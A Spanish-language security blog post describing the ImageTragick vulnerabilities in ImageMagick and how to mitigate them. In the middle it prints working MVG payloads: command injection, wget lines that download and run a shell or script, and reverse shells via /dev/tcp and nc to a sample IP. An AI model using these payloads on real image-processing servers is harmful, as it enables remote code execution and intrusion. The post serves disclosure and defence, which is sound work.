Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Buscador

Entradas Mensuales

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Foro de elhacker.net - Noticias

elhacker.NET en Facebook

Entradas populares

PostHeaderIcon Múltipes y graves vulnerabilidades en ImageMagick




El popular software "ImageMagick"  utilizado en numerosas páginas web para mostrar, manipular y convertir imágenes ha sido rebautizado en Twitter como #ImageTragick por las graves vulnerabilidades encontradas en los dos últimos días. Stewie encontró el error inicial, y Nikolay Ermishkin del Equipo de Seguridad Mail.Ru encontró problemas adicionales, incluyendo el  grave bug RCE (Remote Code Execution).






ImageMagick es un sistema parecido a la libería GD que lleva por defecto en lenguaje PHP para manipular imágenes en cualquier página web, aunque también es utilizado en  línea de comandos ya que es ideal para el procesamiento masivo de imágenes.Por ejemplo, MediaWiki pude utilizar ImageMagick o GD indistintamente para crear miniaturas (thumbnails) de imágenes.

La vulnerabilidad también está presente en los servidores donde la biblioteca se compila con Ruby (rmagick y  paperclip) y NodeJs ImageMagick.

Los atacantes están explotando el tema mediante la subida de imágenes maliciosos a aplicaciones web que utilizan la biblioteca ImageMagick para procesarlas.

Existen múltiples vulnerabilidades en ImageMagick, un paquete comúnmente utilizado por los servicios de Internet para procesar las imágenes. Una de las vulnerabilidades puede provocar la ejecución remota de código (RCE) si procesa las imágenes enviadas por los usuarios. El exploit para esta vulnerabilidad está siendo utilizado de manera pública.

Las vulnerabilidades son:

  • CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution  
  • CVE-2016-3718 - SSRF - Es posible hacer peticiones GET HTTP o FTP.
  • CVE-2016-3715 - Borrar ficheros
  • CVE-2016-3716 - Mover ficheros
  • CVE-2016-3717 - Leer ficheros locales. Reportado por el autor original del bug https://hackerone.com/stewie)
 Ejemplo de la vulnerabilidad:


 fill 'url(https://example.com/image.jpg"|ls "-la)'
También es posible subir una webshell si está habilitada la opción de upload_files en WordPress o file_uploads en PHP, algo muy habitual si tenemos en cuenta que un usuario puede subir una imágen.


O ejecutar comandos
fill 'url(http://elhacker.net/imagen.jpg"|wget -o- ejemplo.com/shell >
"/tmp/shell)'

fill 'url(https://example.com/imagen.jpg"|wget http://example.com/script.py 
-o /tmp/script.py && python /tmp/script.py ip 80")'

O obtener una shell directamente son setsid o nc:

fill 'url(https://\x22|setsid /bin/bash -i >/dev/tcp/192.168.0.1/443
0<&1 2>&1")'

fill 'url(https://ejemplo.com/imagen.png"|nc -e /bin/sh 192.168.0.1
 
 
Y en definitiva cualquier comando que se te ocurra en la shell de Linux.

ImageMagick PoC


Para saber si tu CMS como Wordpress o simplemente tu página web está afectada:

  1. Inspecciona la salida de la función phpinfo() de php y busca por la palabra “Imagick”
  2. Ejecuta  php -m | grep imagick en la línea de comandos.


Por si todo esto fuera poco, ImageMagick también sabe cómo utilizar libxml2 cliente de FTP integrado para buscar imágenes a través de FTP, con lo que podrían aparecer nuevas vulnerabilidades desconocidas hasta ahora. Y de todas maneras los parches que están introduciendo los creadores de ImageMagick no parecen del todo seguro, así qeu mucho cudiado con vuestras aplicaciones web.

Mitigar la vulnerabilidad


El problema además es que hay varios forks de ImageMagick, además  que una serie de procesamiento de imágenes de plugins dependen de la biblioteca ImageMagick, incluyendo, imagick de PHP, RMagick y clip de Ruby, y imagemagick de nodejs. Si utiliza ImageMagick o una biblioteca afectada, se recomienda a mitigar las vulnerabilidades conocidas por hacer por lo menos una de estas dos cosas (pero preferiblemente ambas):

  • Comprueba que todos los archivos de imágenes comienzan con los esperados "bytes mágicos" que corresponden a los tipos de archivo de imagen que admita antes de enviarlos a ImageMagick para su procesamiento. (Ver FAQ para más información)
  • Utiliza un archivo de políticas (PolicyMap) para desactivar los codificadores de ImageMagick vulnerables. La política global para ImageMagick se encuentra normalmente en "/ etc / ImageMagick". El ejemplo policy.xml continuación se desactivará el codificadores EPHEMERAL, URL, MVG, and MSL.

Bytes Mágicos 

Los primeros bytes de un archivo pueden servir a menudo utilizados para identificar el tipo de archivo. Algunos ejemplos son imágenes GIF, que comienzan con los bytes hexadecimales "47 49 46 38", y las imágenes JPEG, que comienzan con "FF D8". Esta lista en la Wikipedia tiene los bytes mágicos para la mayoría de los tipos de archivos comunes.

PolicyMap 

Nota: Falta añadir el símbolo < antes de cada línea

Fichero de configuración policy.xml
policymap>
  policy domain="coder" rights="none" pattern="EPHEMERAL" />
  policy domain="coder" rights="none" pattern="URL" />
  policy domain="coder" rights="none" pattern="HTTPS" />
  policy domain="coder" rights="none" pattern="MVG" />
  policy domain="coder" rights="none" pattern="MSL" />
/policymap>
Y añadir:

policy domain="path" rights="none" pattern="@*" />

Cuidado con las extensiones MSL (Magick Scripting Language) y  MVG (Magick Vector Graphics)

Fuentes:
http://www.openwall.com/lists/oss-security/2016/05/03/18
https://imagetragick.com/
https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588

0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.